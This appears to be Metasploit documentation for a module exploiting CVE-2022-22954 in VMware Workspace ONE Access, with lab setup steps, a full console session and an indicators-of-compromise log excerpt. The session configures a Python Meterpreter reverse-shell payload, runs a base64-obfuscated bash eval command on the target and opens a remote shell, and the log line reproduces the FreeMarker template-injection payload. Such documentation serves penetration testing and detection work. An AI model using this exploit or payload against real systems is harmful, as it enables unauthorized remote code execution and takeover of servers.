## Vulnerable Application

### Setup

Follow [Installing and Configuring VMware Workspace ONE Access] or simply import the OVA into a **VMware hypervisor**. The target should be exploitable out of the box.

1. Import `identity-manager-21.08.0.1-19010796_OVF10.ova`
1. Boot the VM
1. Hax

[Installing and Configuring VMware Workspace ONE Access]: https://docs.vmware.com/en/VMware-Workspace-ONE-Access/21.08/workspace_one_access_install/GUID-0FABD001-050B-4A54-B100-2FA4E8F55613.html

## Verification Steps

Follow [Setup](#setup) and [Scenarios](#scenarios).

## Options

## Scenarios

### VMware Workspace ONE Access 21.08.0.1

```
msf6 > use exploit/linux/http/vmware_workspace_one_access_cve_2022_22954
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > options

Module options (exploit/linux/http/vmware_workspace_one_access_cve_2022_22954):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      443              yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       Base path
   URIPATH                     no        The URI to use for this exploit (default is random)


Payload options (cmd/unix/python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix Command


msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > set rhosts 192.168.0.5
rhosts => 192.168.0.5
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > set lhost 192.168.0.4
lhost => 192.168.0.4
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > set reverselistenerbindaddress 127.0.0.1
reverselistenerbindaddress => 127.0.0.1
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > set verbose true
verbose => true
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > run

[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Executing command: bash -c {eval,$({echo,ZWNobyBWR3h3NHNpeFMyeElx}|{base64,-d})}
[+] The target is vulnerable.
[*] Executing cmd/unix/python/meterpreter/reverse_tcp (Unix Command)
[*] Executing command: bash -c {eval,$({echo, }|{base64,-d})}
[*] Sending stage (40060 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:59441) at 2022-05-03 11:50:00 -0500

meterpreter > getuid
Server username: horizon
meterpreter > sysinfo
Computer        : photon-machine
OS              : Linux 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021
Architecture    : x64
System Language : en_US
Meterpreter     : python/linux
meterpreter >
```

## IOCs

### `/opt/vmware/horizon/workspace/logs/greenbox_web.log`

```
[snip]
2022-05-03 16:49:58,796 WARN (Thread-289) [com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver.resolveException] <GreenBox> <correlation_id: e7eb8ce2-9bba-4526-8720-208d93e8913b> <tenant_id: 6g79dnjuixnnsar> <client_ip: 192.168.0.2> <username: > <device_id: > - Additional error info for requestId e7eb8ce2-9bba-4526-8720-208d93e8913b which resulted in return code 400, mapped to error code auth.context.invalid and, error is: {"code":"auth.context.invalid","message":"Authorization context is not valid. Login request  received with tenant code: 6g79dnjuixnnsar, device id: null, device type: ${\"freemarker.template.utility.Execute\"?new()(\"bash -c {eval,$({echo, }|{base64,-d})}\")} and token revoke status: false."}, mapped exception class :class com.vmware.endusercatalog.auth.InvalidAuthContextException
[snip]
```
